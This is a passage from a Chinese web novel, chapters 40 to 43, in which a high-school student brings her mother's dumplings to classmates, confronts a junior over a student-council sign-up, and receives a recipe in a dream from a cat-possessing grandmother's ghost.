“谢谢了啊,不过我和我同桌每天聊的几乎都不是和学习有关的内容。你代劳不了。”
第一次见将爱拉家常说得这么理直气壮的。
应琮觉得这简直是败坏了她好学生的名声。
好在同桌说完总算是走了,她也忍住了想要反驳的心。
“他……会经常打扰你吗?”
裴少言递去酱油瓶。
“呃,”应琮顿了顿,“还好吧。”
她的声音很轻,盛逸离开时瞥向自己的眼神过于反常,以至于她心里十分在意,没法不去想。
“应琮,”看到她有些失神,裴少言语气加重了些,“你可以和老师申请换……”
“……你别说了。”
应琮将原本想要叹气的欲望咽了下去,化作淡淡的一句:“吃饭吧。”
盛逸好歹也是真材实料考进来了,怎么可能真的不学无术、打扰她进步?
月考、数学竞赛、高考。
从开始参加竞赛,她就知道,自己必须要好好把握冬令营的机会——因为这或许能够左右高考。
因为冷了,盘子上的饺子粘连在一起。
夹起来一个,免不了要粘破其他的。
敞着口的饺子暴露在空气里,应琮可以清楚看到里面翠绿的馅。
40. 第 40 章
十月的阶段性考试远比上次的难,或许是因为和其他兄弟学校联考的关系。
交完卷,教室内哀鸿遍野。
虽然题目变得更加奇形怪状了,但应琮做起来反而更得心应手。
至少……数学是这样,毕竟再千奇百怪的题目,比起刁钻古怪的竞赛题都眉清目秀起来。
即使是不太擅长的语文,她也充分吸取之前的教训,早已将每一科的考试时间铭记在心,坚决不可能再出现空题。
应琮绕开热烈议论题目的一群男生,不巧在走廊遇到监考出来的吴国才,不得不多拿了几套题才被放走。
再次回到教室里,她抬头看看电子钟。
现在已经接近上晚修的时间了,教室里的同学陆陆续续地走进来。
自己所在的走读生小组,周围早就空空荡荡,走得没有人影。
坏菜了。
再不走,就要等到第一节晚修下课后才能出校门了。
可饥肠辘辘时不我待呀!
也许是被盛逸害的,她也变得乱用成语了。
应琮一边争分夺秒地抓出自己的走读证塞进口袋,一边还插空想些有的没的。
“应琮?”
正准备从后门悄悄离开,忽然有人唤着她的名字。
她没有立即停下动作,直到跨出了后门,这才慢半拍回头。
“怎么了?”
是班里一个平时几乎没有说过话的男生,对方眼神游离,似乎不敢和自己对视。
“那个,那个……”
男生好不容易才鼓起勇气叫住她,对着应琮的脸,又吭哧吭哧地说不出来一个一二三,脸都涨红了。
“……没什么事我就先走了。”
事有轻重缓急。
第一,她还急着出校门,没时间等他组织语言;第二,她并不是很关心这位陌生同学的想法。
万一……是向自己说一些奇怪的话,那更是需要马不停蹄地逃跑了。
毕竟哪有人初次搭话这么紧张的。
应琮忽略了在这个学校,似乎没什么人会主动找自己搭话的事实。
“我听盛……说你……”男生在“说”字前生硬地打了个弯,“你妈妈是不是在附近开了一家饺子店?丁一锐说很好吃……”
没料到是说饺子店的事,何况丁一锐有去过店里吗?
应琮回忆一下,自打上次的事情后,这几天她和盛逸都关系冷淡,坐在一起也没话说——准确的说,是盛逸没找她讲话了。
她也不知道盛逸还有没有带着丁一锐去店里吃饭。
“……总而言之,明天早上,你可以帮忙带蒸饺吗?”
在她出神的两秒钟,男生快速将情况说明,最后双手合十举在胸前,表情恳切。
见她没什么表情,男生急急补充道:“拜托拜托,我们整个宿舍都想试一下味道。”
今天毕竟才周二,他们要被关到周五才能出校,而肚子里的馋虫是绝对等不了那么多天的。
“那……”应琮事先说清楚,“我也不收额外的跑腿费,打包的价格是多少就是多少。”
“当然当然,”男生搓了搓手,目光触及应琮纤瘦的臂膀,又有些不好意思,“不过……我们六个人,可能吃得比较多。”
“都按大份的?”应琮并不在意。
区区几盒饺子能有多重,哪里就重死她了?
“嗯嗯,”男生用力地点点头,“只要是肉馅就行,其他的我们不挑。”
“知道了。”
应琮答应完,冷不丁透过窗户看到电子钟上触目惊心的时刻,顿时脸色大变。
她匆匆告别,背着书包就开始往楼下爆冲。
男生站在后门不远处,目送她急速奔跑,最开始对话时浑身的紧张感不知何时无影无踪。
没想到,活在传说中的人虽然看起来拒人千里之外,但意外地好说话。
*
十月底的清晨,阳光薄到近乎透明,空气里凉意更甚。
“诶!同学站住!你袋子里装的都是什么?”
校门口值日的教导处主任敏锐地在批评某些没穿校服的同时,叫住了正准备浑水摸鱼进去的应琮。
应琮后背一僵。
“该不会是充电宝吧?”他狐疑地盯着眼前动作迟疑的女生。
对方虽然背了书包,可手上还另外提着两个看起来就很沉的袋子。因为不是透明袋,所以没办法知道里面是不是装了违禁品。
虽然一中对学生发型,兴趣社团什么的管得不严,但手机、平板、MP4等电子产品,却是属于一级“禁品”之列,按校规只要带来就要交给老师保管。
而走读生“偷运”充电宝,便是踩着红线滑步的危险行为了。
虽然一中的大部分老师都睁一只眼闭一只眼,但是教导主任显然不属于其中一员。
“是食物。”
应琮还是第一次正常上学被老师拦住,面上流露出一丝少见的紧张。
“给我看看。”教导主任并不是问询的语气,他微微眯起自己鹰隼般的眼睛。
抓学生违纪行为这一块,自己可是老手了,大部分学生都是在他的注视下败露的。
应琮将袋子打开,露出里面一盒盒整齐码好的塑料饭盒。因为饺子尚且温热,所以盒子上蒙着一层白色的水汽。
怕对方看不清楚,她索性拿出来一盒递去。
“都是我妈妈做的,”应琮的声音低了几分,软了些,“我不知道学校里不能带食物,下次不会了。”
一副无辜的好学生模样。
自己手上的确是一盒平平无奇的蒸饺,教导主任重新将其放回袋中。
“没事了,”他再抬起头时,语气变得和蔼许多,“妈妈做的食物,当然可以带了。学习压力这么大,多吃点好的也是应该。”
应琮乖巧地点点头,“老师,那我……”
“快去班里吧,”教导主任摆摆手,“记得上课时可不能吃。”
应琮当然知道,她提着两袋蒸饺,脚步轻快地往教学楼走去。
不过,她爬楼梯的时候,冷不丁地在想:该不会老师以为这么多份,都是她一个人吃吧?
仿佛是算准了时间,应琮刚一走进教室,便被人团团围住了。
“感谢感谢。”
几个男生连忙伸手去接袋子,看到里面满当当的蒸饺,脸上露出无法抑制的幸福笑容。
“盒子里放的是三种馅儿的,”应琮忽略他们的笑容,转转自己的手腕,“一人两盒。”
男生们嘿嘿笑着,按照事先约定好的,将早餐钱夹在她桌上的英汉字典里。
闻到教室里出现的香气,原本还在座位上的人也不由得凑了过来。
“bro为什么会有蒸饺?!”
“你们这些逆子,怎么敢背着朕吃独食?”
见他们吃得喷香,有人忍不住发出爆鸣。
食堂什么时候出了新品???
“应琮帮忙代购的。”
只要少吃一秒就会被抢走,等嘴里塞得鼓鼓囊囊了,男生才抽空解释。
说起来,还是自己率先提出来的,简直就是天才般的提案。
注意到其他人投来请求的眼神,应琮不由得后退几步。
在小区楼下喂流浪猫的情景,在一个绝对不可能出现的场合里重现了。
“如果你们需要的话,明天也可以带的。”她妥协。
饺子店的分店,恐怕第一个就要开在他们高二6班了。
“真的吗!”
一众饥馑交迫的住宿生激动起来,村里终于出稳定供货商了。
应琮
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点点头,可想到自己一个人也拿不了那么多东西,赶紧开口补充,“但是我一次最多只能带十盒饺子。”
“既然今天都帮他们宿舍带了,明天就帮我们宿舍带吧。”有人无比自然地接道。
“为什么要按照宿舍号来轮啊,就不能单点吗?”
话音刚落,旁边的人立即反驳。
“你说的算吗,还不是由应琮来决定?”
第一次,应琮成为了班内战争的中心。
“那个,”见有愈吵愈烈的趋势,她不得不站出来主持一下公道,“走读生又不是只有我一个……”
丁一锐、盛逸、杨乐……哪个不能带,而且他们几个还是男生,恐怕能比自己提得更多。
应琮的话像是忽然为众人指点了迷津一般,于是人潮四散,分别去求和自己关系好的走读生。
周围再次复归寂寞的应琮满不在意地耸耸肩。
反正,无论是谁帮忙带,总归都是要向应女士付钱的。
*
“应琮。”
正值放学,楼梯间人来人往,只听得一道清丽的声音传来。
“时满?”
看到她背着书包,应琮面露惊讶。
“你要回家吗?”
时满点点头,快走几步与她并肩。
“今天有些事情要回家,没想到能在遇到你。”
她眼眸低垂,语气轻快,“好巧啊。”
两个人其实也很久没见面,所以简单聊了聊彼此的近况,以及共同吐槽一下最近几天竞赛题的变态程度。
“你放学后一般去哪?”
时满将口袋里的请假条递给门卫,歪着头看向应琮。
“我今天去店里。”
“店里?”时满奇怪道。
应琮走在靠外的地方,几秒后才反应过来。
“你是不是还不知道,我妈妈在街角开了一家饺子店?”
“因为你没有告诉我呀,”时满无奈地笑笑,“太不够意思了。”
这一句话有点亲昵。
“对不起,是我疏忽了。”
应琮迅速地检讨自己,去拉她的手。
“如果你不急着回家的话,我请你吃饺子吧。”
时满抿着唇想了想,最终点点头。
相较于开业前几天的热闹,此时店里门可罗雀。
除了一中的学生外,周围的街坊邻居并不会走进这家店,他们更多是对此有些好奇。
比如此时,在店门口就有一个三过而不入的阿婆,明明已经走到了另一家店前,却又频频回头。
“她是不是想进去吃饭啊?”
时满戳戳应琮的胳膊,小声道。
“不知道啊,”应琮看对方并不是急切的模样,“可能只是路过吧。”
两个人放慢脚步,悄悄观察着对方的行动。
“阿姨,煮饭了没有,要不要进来坐坐?”
美芳阿姨爽朗的声音由远及近,她热情招呼道。
应琮回头看看,阿姨正从丈夫的电动车后座下来。
“不用不用。”
阿婆先是摆手推辞,却又忽然一笑,凑了过去。
“你们这是什么店啊?”她好奇道,“装修得这么漂亮。”
“饺子店呀,”美芳目送着电动车离去,伸手指了指里面,骄傲道,“我们不仅东西好吃,里面更漂亮呢。”
“卖饺子?”
解除了自己心中的好奇后,阿婆的态度一下子平淡下来。
她左右摇摇头,将手臂背在自己身后,慢悠悠地走了。
“我是不是说错话了?”
看着对方渐行渐远的背影,美芳扭头看看自己身边的两个女孩,语气迟疑。
“没有的事。”
应琮安慰道,率先走进店里。
41. 第 41 章
进入店里,两碟热腾腾的饺子很快上桌。
“说起来,”时满收回打量室内的目光,往小碟子里倒了一点醋,“阿姨的这家店还真是别致。”
“怎么每个人都这么说?”
应琮怪了,每个人第一次来店里的评价都很相似。
别致难道是漂亮的别称吗?
时满愣住,思考着如何斟酌自己的语言,半天才开口道,“你有没有觉得这里有点不太像餐店?”
莫兰迪色调,虽然看起来柔和舒适;拼贴画也十分有艺术格调,但这种装饰,也让人多了几分想要正襟危坐的冲动。
仿佛自己盘子里的,不是十几块一份的手工水饺和醋,而是空运而来的松阪牛与黑松露。
“会吗?”
应琮不明所以,认真地看着对方。
就这么一个单纯的目光让时满意识到,她是真的没有觉得有什么不对。
“该怎么说呢……”她再度斟酌开口,思考着应该怎么向对方解释,“布置得艺术确实能够令人耳目一新,可有些人可能就不会觉得这是一家饭店,或是会在心理给这些食物定一个很高的价钱,最后望而却步。”
“哦!你的意思是,有点‘曲高和寡’了是吧?”
应琮恍然拍掌,调动自己脑中的成语积累。
时满愣了一瞬。
“……也可以这么说吧。”
意思领会到了就行,没有必要强扣字眼,以免打击孩子运用语文知识的积极性。
认识这么久了,时满多少也知道应琮苦语文久矣。
“也就是要让这里更像一家饭店是吧……”
应琮小声嘀咕,若有所思。
已知条件有了,方向也有了。
“那样的话……”该不会要重新装修吧?
还在思考该怎么和应女士商量此事时,应琮忽然发现坐在对面的时满表情有些奇怪,变幻不定。
“怎么了?”她问。
时满抿了抿唇,感受着腿上似有若无的柔软触感,声音有些颤抖。
“是不是……有一只猫在桌下?”
猫呀,她整个人都僵直了,甚至不敢低头去看。
应琮弯腰去看,果不其然,咪咪正卧在桌下,黑色的尾巴在时满小腿上勾来勾去。
天啊,它是怎么从笼子里偷偷跑出来的?
“咪咪!”
她赶紧伸手把它捞到怀里,语气里带了严厉。
“你在搞什么!”
再起身时,明显发现时满的脸色好了许多。
“你害怕猫?”应琮关切道,她以前压根不知道。
时满点点头,又摇摇头。
“也不算害怕吧,”她单手托腮,面上流露出苦恼,“之前有段时间,我经常梦到黑猫……梦醒来的感觉,有点不舒服。”
“我不是在说你们家咪咪的意思!”
语罢,担心自己的话会让对方误会,时满赶紧摆手。
“你梦到黑猫的时候,”应琮冷不丁地想到会出现在梦中的裴奶奶,语气有些试探,“是不是高中开学前?”
“你猜得好准!”
时满眸子里满是惊奇,“就是那个时候。”
应琮抱着咪咪,表情凝重。
已知,自己是中考后的暑假将咪咪捡回了家,而咪咪身上又有着裴少言外婆的灵魂。
她无意识地摩挲着黑猫脖颈处柔软的地方,感觉思绪杂乱。
还没待应琮理清楚思绪,咪咪忽地脱离开自己的怀抱,往其他地方跑去。
“你也会梦到猫猫吗?”
时满忽略隐藏在窗帘后鼓起来的一团,继续顺着二人刚刚的话说。
“呃,不……”应琮看着其他地方,语焉不详,“可能是……偶尔?”
“不过,”时满的脸慢慢转了过来,注视着她,“咪咪长得,还真的很像我梦里经常出现的那只猫猫呢。”
“会吗?”应琮刻意地表现淡定,“以我们人类的眼光来看,黑猫们几乎长得一模一样,认不出也正常。”
听到她的解释,时满笑笑,没有再提起和黑猫有关的事情。
反正,那些也只是自己的梦而已。
和现实无关。
*
因为应琮要等妈妈一起回家,所以二人吃完饭后,时满拿上自己的书包便准备离开。
此时外面已经笼上一层厚重的夜幕,如果眯起眼睛去看,能够看到上面闪着微弱光芒的星子,倒像是随手撒上去的琐屑。
应琮跟着时满一起走出店门,两个人憧憬着三个月后的冬令营会是如何安排。
“应琮学姐……?”
听到声音,她们不约而同地抬头看去。
“小玉?”
时满率先开口,向对方打招呼。
“时满学姐,你也在这里啊。”
见到她,小玉面上如释重负般松了一口气,又小心翼翼地瞥了应琮一眼。
“是啊,我今天刚好在附近吃饭。”时满见她欲言又止,好奇地多问一句,“你找应琮有事?”
小玉回以沉默,可也没有否认的意思。
“进来坐坐吧,我们可以吃点东西再聊。”
应琮隐约猜到了对方的意图,打破沉默邀请道。
反正身后就是自己家的店,也算是个方便谈话的私密空间。
也许是考虑到现在身处校外,又或是其他的原因,小玉慢慢靠近了些,几乎是站到应琮身侧。
“那我就先走了哦。”
时满看看二人之间不同寻常的氛围,轻声道。
目送着她的离开,小玉张了张嘴。
“应琮学姐……”
她的声音轻如鸿毛,但身旁的人还是听到了。
“等一下再说吧。”
应琮慢慢道,伸手推开饺子店的门。
两个人挑了个小桌子,面对面坐下。
“之前那个园艺活动……是我擅自给学姐报的名。”
一坐下来,小玉就开门见山。
果然是这件事,应琮心下了然。
那天园艺还未结束,光是看小玉前后的表现,她便隐约猜到了几分,只是没有挑破。
现在对方旧事重提,本来应该愤怒的应琮忽然有点不知所措。
“对不起学姐……我,我也已经向学生会递交了退部的申请,但是正式退部,可能要等到一个月之后。”
小玉说着说着,声音越来越颤抖,甚至带了一丝哭腔。
看到她的模样,应琮无奈地叹了一口气。
本不是什么大事,但是对于一个刚刚步入高中生活,开展社团活动的人来说,可能确实比较痛苦。
她略微老道地想,换做是盛逸那家伙听到了,估计会笑话自己年纪轻轻一把年纪,都“老油条”心态了。
奇怪,怎么又想起那家伙?
应琮甩甩脑袋。
“既然如此,”
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她将装满水的杯子轻轻推向对面,“你能不能告诉我,为什么要帮我报名?你又是怎么知道我的个人信息的?”
“因为学生会的内部资料里,有各个班开学前替学校统计的个人信息,随便翻一下就能知道。”
学号姓名都是小事,就连什么联系电话、家庭住址、父母姓名都记录在上面。
“这么重要的内部资料,你们竟然是随便都能翻阅的?”应琮不满地撇嘴。
哪怕她尽量都填的真假参半,但对于自己在校园内暴露无遗的个人信息还是吓得倒吸一口凉气。
信息泄露怎么能出自内部呢。
坏!太坏了。
“因为……我们是学生会的内部成员嘛,所以可以轻松接触到这些。”
小玉不敢直视她,头低低地垂着,声如蚊蚋。
“你们还真是……”
应琮想骂都不知道该先骂哪个比较好。
学生会内部管理上的松懈,过分收集个人信息的学校以及毫无边界感可言的某些人。
“说说吧,”她捂了捂自己的额头,在心里做好准备,“到底为什么要替我报名?我记得我们以前并不认识。”
更不可能结仇了。
就算是仇人,给自己报一个称不上磨难的校内园艺活动,又能心里痛快多少?
应琮思来想去,还是觉得会和熊颜颜、邹枫以及武小圆几人有关,可至于为什么,又有点说不清道不明。
“因为学姐是校花。”
?!!
然而对方开口说的,差点没让应琮一口水呛在气管里。
“什、什么意思?”
她咳了半天才止住,整张脸变得通红。
程依依干的好事怎么这么恶名远扬?
“因为园艺活动很辛苦又要晒太阳,所以当时宣传了很久也没有人来报名……”
小玉看了她一眼,默默将自己桌上还没有喝过的水推了过去。
“然后刚好又遇到你,所以我们就想着如果有人知道校花都报名参加了,肯定会兴高采烈地跟着报名吧……才,才自作主张的。”
应琮觉得脸上火辣辣的难受,这个理由简直就像是梦里面一拍脑门想出来的,完全没有任何逻辑可言。
“我真是不知道该说什么才好。”
她如果号召力这么强,早应该在学校里一呼百应,怎么会到现在都没有认识几个朋友呢?
这些人自作聪明,反而没有好果汁吃。
她很想语气再冷漠些,再刻薄些,可对方泫然欲泣的脸在眼前挥之不去,应琮只得将语气放缓。
“那是因为我们宣传的时候,已经错过了最好的时间段。”小玉振振有词。
“如果把握好时间的话,以学姐你的魅力和名声,恐怕就连我们年级,也有不少人都要被吸引过去呢。尤其是那些男生!”
虽然她并没有说自己的坏话,应琮却眉心一皱。
表面上听起来,好像是在夸自己的魅力大,可细细想来,这种夸奖,何尝不是对自己的一种刻板印象。难道因为外貌上的所谓“漂亮”,她就必须要承担起吸引人的角色?甚至是以吸引男生数量的多少,来衡量自己的魅力高低?
完全就是把她视作是一个和花瓶没什么两样的物件啊。
虽然小玉已经道歉了,也付出了一定的代价,本应就此了事的……如果应琮没有知道这个荒谬至极的理由。
这件事不会那么简单就结束。
42. 第 42 章
解决了小玉这件心头小患和考试这个心头大患,应琮本以为自己晚上可以睡个好觉。
结果刚一入睡,就听到熟悉的,略显苍老的声音。
“应琮,醒醒。”
应琮迷迷糊糊地睁开眼睛。
周围一片纯白,难道天那么快就亮了?
“应琮!”
见她迷迷糊糊,那人又唤了一声,将她的注意力拉近。
定睛去看,眼前是许久未出现在自己梦境中的咪咪,不,应该叫裴奶奶。
对方依然是熟悉的那副装扮,只是眉宇间笼上一层焦急和忧伤。
“奶奶?”
应琮反应过来,原来自己此时还在梦境中。
“孩子,我有很重要的事要说。”
见她意识回笼,裴奶奶上前一步,急切想要拉住她的手。梦里相见的时间并不由她掌控,浪费一分便会少一分。
“是不是和时满有关?”
听到这话,应琮记忆霎时回笼,想起了她和时满晚饭时的对话。
“没错。”裴奶奶点点头,笑容里带了几分苦涩,“都是我老糊涂了……”
“这是什么话?”
虽然此时在梦中,谁也感受不到彼此的温度,但应琮还是反握住她的手,希望能够让她安心些。
裴奶奶低叹一声,如果不是在店里看到了时满,她恐怕还没有那么快恢复记忆。
是的,她现在才想起来自己之前错忘的很多东西,包括她为什么会寄身在一只猫身上。
因为记挂着孙子,自己迟迟不肯迈入轮回之境,在尘世间徘徊不定,竟然意外窥得一丝天机,知道了未来将会发生的事情。
裴少言几乎是从小就跟着她相依为命,即使自己去世后,裴少言依然住在二人原本的家中。
而那个因自家站错队,而早早和池家割席的女婿裴名对此放任不管,似乎权当自己没有这个儿子。
当年也正是因为他的自私自利、冷血无情,才间接导致了自己的宝贝女儿池晶晶的离世。
想到这件事,裴奶奶的眼眶瞬间红了。
女儿去世时,裴少言已经懂事了。
为了替自己早逝的母亲报仇,知道真相的裴少言又在裴名的掌控下隐忍了十数年。
原本以他的能力,所有人都以为他会有一个盛大光明的未来,他的明天一定是金灿灿的。
可事实是,他人生走的每一步都是为了复仇。
成年后的裴少言进入首都,靠自己靠人脉,不惜手段,暗中收集到裴名过去做错事的证据,甚至抱着玉石俱焚的心态……对他而言,生活中似乎已经没有什么值得在意的人和事物了。
因此为了毁掉裴名,他哪怕赔上自己的性命也在所不惜。
事实上,在和裴名的斗争中,裴少言也的确付出了代价,险些死于一场车祸。
如果继续按照命运的发展,那她苦命的孙子……原本乖巧懂事的孩子,长大后,会变得和裴名一样阴沉偏执。
多可笑?
裴少言葬送了自己的所有人生,却并没有换来美满的结局——而罪魁祸首却只是简单坐了几年的牢。
苍天啊。
现实就是如此不值得。
回忆起他的未来,裴奶奶的心不免揪紧。
一把年纪了,她才知道人变成了鬼魂,也会因世俗牵挂而痛心。
所以她决定趁现在还为时不晚,一定要找机会拯救自己的孙子!至少不能让这个原本拥有锦绣前程的孙子永远活在复仇的火焰之中,燃烧了青春和活力。
幸运的是,作为阿飘的裴奶奶在人间徘徊中,误打误撞结识了另一名颇有经验的阿飘老师。
对方倾囊相授,教会了她如何借助其他生物还魂。
虽然不明白老师为什么自己不用这个方法还魂,但裴婆婆依然十分感激对方。
然而就在亲身实践的过程中,她却意外发现,自己不小心依附在了一只猫咪身上,想离开又离开不了。
人类和猫如何沟通?!
裴奶奶万分无奈,重新去找自己的阿飘老师,对方倒也没想到会有这样的情况发生,便又传授了托梦大法。
但托梦大法,只能选定一个对象,而且无法更改。
她原本有心仪的人选,裴少言在人间有唯一一个留恋的女孩,他曾经数次在自己的墓前提起过,那个女孩就像一束光,照亮了他暗淡的世界。
那个女孩就是高中时期和他一起参加竞赛的同学,如若计划顺利,他还能回到正常人的生活的话,他便会去追求她。
裴奶奶也是后来才知道,那个女孩是时满。
时满和他一个高中,同样参加了数学竞赛,同样在首都工作,同样的正直不阿。
两个人原本是金童玉女的般配。
如果有她的帮助,也许孙子就不会走上那条复仇的死路了。
结果,当裴奶奶走在路上时,却被好心拯救“流浪猫”的应琮带了回家,又误打误撞和她绑定了。
之后的事情,就远超过了她所预想的。裴奶奶都不知道是自己老年痴呆,还是这个猫咪身体和她适应不良,对未来预知的记忆完全支离破碎。
即使继续留在人间,她也没那么无所不能。
时间有限,裴奶奶只挑了重点的事情说。
“所以……”
听罢,应琮摸了摸自己的鼻子,有点心虚。
“您本来是要和时满绑定的是吧。”
结果在半路上被“善良”的自己捷足先登了。
裴奶奶点了点头。
“时满是对少言很重要的一个人,”她道,“你知不知道他们关系……”
“他们两个现在是一个班的,”应琮抿唇,言简意赅地答道,“至于关系怎么样,我也不太熟悉。”
“孩子,”裴奶奶看了过来,眼神里充满了急切,“你……你能不能多和他们保持联系,最好是能了解到他们平时除了学习之外,还会做什么。”
她知道应琮也有点喜欢裴少言,但是很明显孙子对这个邻居女孩没有那方面的意思。况且如果不是因为自己不得不接近孙子,让应琮选择在一中上学,她和裴少言究其一生,压根不会产生交集。
哪怕这个要求对于情窦初开的少女而言有些许残忍,但裴奶奶也没办法,身为猫猫,她能做的实在是太有限了。
听到她的请求,应琮沉默了。
如果非要说的话,他们三个之间唯一的联系恐怕就只有数学竞赛了。
下周报名后,竞赛将在寒假冬令营时正式拉开帷幕,如果排名靠前的,听说能够直接拿到大学保送的资格。
无疑的,常年在校内蝉联冠军的裴少言,自然是高校保送的热门选手。
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如果他提前得到大学的入场券,很难说,自己和他未来还会有什么能产生交集的事情。
“我尽量多和他们联系。”
话虽如此,她其实也不知道自己应该怎么做。
总不能每天都去1班嘘寒问暖吧。
“你妈妈开的饺子店……”
裴奶奶看出她的为难,忽然提到了八竿子打不着的话题。
“我觉得配方还可以再修改一下。”
“啊?”
应琮目光流露出惊讶。
“我并不是为了和你做交易,你和你妈妈帮助了我许多。”裴奶奶想到什么,神情又伤感起来,“我能够给的,也就只有那么一两种饺子的配方,可能最后还帮不上什么忙。”
“……您别这样说。”
应琮放学后在店里待过几天,多少也能意识到,没生意也可能是因为应女士的手艺只有75分。
酒香还怕巷子深,更别说应女士的手工饺子还没办法散发出香飘十里的香气。
来来回回常来的,也就只有和自己相熟的几个以及班里热爱订购蒸饺作早餐的大军。
“孩子,”裴奶奶郑重道,“我现在把配方告诉你,这些也是我结合一本菜谱改良而来的。只是修改了几种配料的比例,如果你醒来之后发现有点记不清楚,可以记住这个口诀。”
应琮心领神会地附耳过去,一边嘴上喃喃地重复几遍,一边努力去记菜谱的名称。
“如果,”裴奶奶重新回到原位,“如果饺子店能够成为你们几个平时聚一聚的地方,那也很好了。”
听到这话,应琮不由得也有几分怅然。
“奶奶……”她喃喃出声。
看到对方的脸逐渐变得模糊,身形也越来越透明,应琮知道,托梦的时间就要结束了。
*
不过早上六点钟,天大亮,一室虚白。
应琮睁开眼睛后的第一件事,就是把梦里的口诀争分夺秒地抄在纸上。
这可是在和自己的记忆力作斗争。
“妈妈,这是我在书上看到的配料比例,今天可以试试。”
她将整理好的配方拍照发给早早去店里准备的应雨柔。
“哎呀,做饭靠的是长年累月积累下来的经验和手感,不是一板一眼的比例。”
看到图片,应雨柔很快发来一条语音,话带嗔怪之意。
“你就试试呗,我找的可是专业的、权威的食谱。”
应琮晓之以情,动之以理。
“反正现在店里也没什么铁杆粉丝,恐怕变了口味别人也吃不出来。”
“少调侃了,今早不是还要给你的同学带两盒蒸饺?我等下用你发来的这个,重新调一小盆馅。”
女儿都这样说了,应雨柔再次研究起配方来,并没有什么复杂的步骤。
反正饺子店早上的生意寥寥,就算是尝试,也不会产生什么承担不了的后果——大不了就给一个人无条件退款呗!
她这样想着,便按照上面说的,认真地重新调起饺子馅。
有了妈妈的保证,应琮放下心来,往后一倒。
自己已经把裴奶奶的独家配方传授出去了,至于效果如何,只能寄希望于应女士的实践能力了。
看着头顶上印着猫咪花纹的窗帘,她的意识逐渐恍惚。
自己不如再睡个回笼觉。
43. 第 43 章
“你的蒸饺。”
来到学校,应琮把手上的塑料袋放到杨乐桌上。
真是的,明明自己都是走读生,却还要麻烦她来代购。
还好只有两盒,不算重。
“谢了。”
收到早餐,杨乐将抽屉里的书拿了摞,放在桌上将食物垫高,似乎是一种吃饭专用的仪式感。
应琮转身回去,她的桌上是美芳阿姨今早用多的材料精心做的发面小笼包——用的是和饺子一模一样的馅儿。
“这是什么味道?”
盛逸刚一从后门走进来,便闻到了一阵强烈的香味,是自己从来没有闻到过的。
“吃什么好吃的呢?”
追踪到味道的源头,他从后面一把搂住杨乐的脖颈。
“应琮家的蒸饺。”
自己身后挂着个沉甸甸的人,杨乐不由得扭了扭身子。
“啊?”盛逸趁着对方没有准备,伸手就捏了一个蒸饺迅速塞进自己嘴里。
实践是检验美食的唯一方法。
他得尝尝。
入口的瞬间,盛逸便被鲜嫩多汁的馅儿狠狠烫了一下。但尝到汤汁的滋味后,他不舍得吐出来,只是将饺子在嘴里飞快地翻炒。
吃了一个之后,再闻到饺子的香味,盛逸更加不满足。
刚刚因为太烫,所以自己吃得快,还没怎么细细品味就咽到肚里了。
“兄弟,”他忽然扭捏起来,看着杨乐……盒子里剩下的饺子。
“我还想……”
“不行。”
杨乐毫不客气地拒绝,甚至还伸出左手挡住他看向饺子的视线。
“真是毫无兄弟情可言!”
盛逸指着他,义愤填膺。
就算被骂,杨乐也无动于衷,只是加快了自己进食早餐的速度。
开玩笑,刚刚他打开的第一盒蒸饺,就是被一个又一个突如其来海鸥般的同学吃干抹尽的。
现在无论是谁,也不能阻挡他吃饺子的速度。
“应琮!”
盛逸大喝一声,震得被点到名的应琮一个激灵,瞥了他一眼,不知道他怎么突然又像没事人一样和自己搭话。
“我明天要预定你们家的十盒蒸饺!”
只见盛逸双手握拳,坚定道。
到时候,自己必须坐在教室的正中心吃东西,绝对香死其他人不偿命。
应琮嚼着嘴里的小笼包,不予理会。
十盒?
她才不当苦力。
*
月考过去了两天,按道理来说,今天应该公布成绩。
想到自己的分数,年级里有些人心惶惶。
据小道消息说,这次一中参与联考赋分后,总分平均分竟然略低于隔壁的兄弟学校,丢了江城第一的宝座。因此级长大为光火,只觉是自己对高二的管教过分松散,立时便要加强教育。
一时,高二年级人人自危,生怕会在级长愤怒的节骨眼上踩了他逆鳞,变成那只被杀了儆猴的小鸡。
似乎,就连老师似乎也有些紧张。
数学课还没开始,许明就已经来到教室,一个人闷头在黑板上密密麻麻抄了五道例题,脸绷得死紧。
“该不会是因为我们班这次数学考得太差了,所以要进行地狱特训了吧。”盛逸嘀咕道,从书包里好不容易翻出来自己的月考试卷。
昨天下午,课代表拿来了印刷好的答案让他们提前先对,这节课应该是要讲卷子。
对过了答案,每个人对自己的成绩多少也心里有数。
“同桌,”盛逸抚平自己卷子上的折痕,随口一问,“你考得怎么样?”
“不知道,”应琮也将自己的卷子拿了出来,“我还没开始对答案。”
“我也没对。”
盛逸原本是想问问她对题目的把握,听到“对答案”这个说法,想起每次考完都会有一波人聚集在考场教室里讨论得如火如荼。
他们班那个眼镜片堪比啤酒瓶底的数学课代表便是其中之一。
他向来对这些理科学霸的绝对领域敬而远之,没想到原来应琮也不喜欢那种氛围,一下子又自顾自地觉得自己和她的关系拉近许多。
应琮倒是不知道同桌百转千回的心思,事实上如果有人主动找她对答案,她倒也不排斥。
反正自己总是对的那个。
“需要我帮你对吗?”盛逸又道。
心想世界上还有比他体贴的人吗?知道她不喜欢对答案,都能主动代劳。
“不用麻烦了。”
应琮瞥了一眼桌上的答案,拿起红笔三两下就改完了选填。
目睹着她行云流水般的动作,原本还以为两人在数学上难得有共鸣的盛逸沉默了。
如果没有看错的话,选填一共十六道,她就打了两个勾,和写了一道题答案。
甚至那道题是答案不唯一。
盛逸又看看自己的卷子,选择题错了最后两个,填空题也错了最后两个——这还是他谨慎细心、超常发挥的水平。
有时候因为粗心或者是代错了条件,还能错得更多。
看看身边的同桌,已经重新将卷子翻到第一面,表情淡然无波。
“你这次数学考得怎么样?”盛逸有点奇怪。
选填都对了那么多,为什么她的脸上还没有欣喜之色。
总不能后面的大题都做错了吧。
“还可以。”
应琮没看他,一只手轻轻撑在耳后,随后几不可察地叹了口气。
错了一道本不该错的题,回头许明看到自己大题那里划去的正确答案,肯定又要生气了。
“应琮。”
她才只是在脑中想了想,下一秒就听到了许明点名的声音。
应琮抬头看去,数学老师站在台上,隔着镜片,正眼神灼灼地看着自己。
“上来做一下。”
许明抬手指了指身后,黑板上是他刚刚抄好的题目。
“他怎么开始搞小学课堂那一套了,”盛逸挑眉,凑了过去,“你得罪他啦?”
应琮沉默了,她也想问,明明都过去一个月了,难道许明还因为上次的空白而耿耿于怀。
太小气了!
班里其他人也纷纷转头看了过来,有好奇,有紧张,也有几分怜悯。
事已至此,无论许明到底是出于何意,应琮都不可能不上台做题。
她慢慢走上讲台,拿着粉笔在黑板前站定。
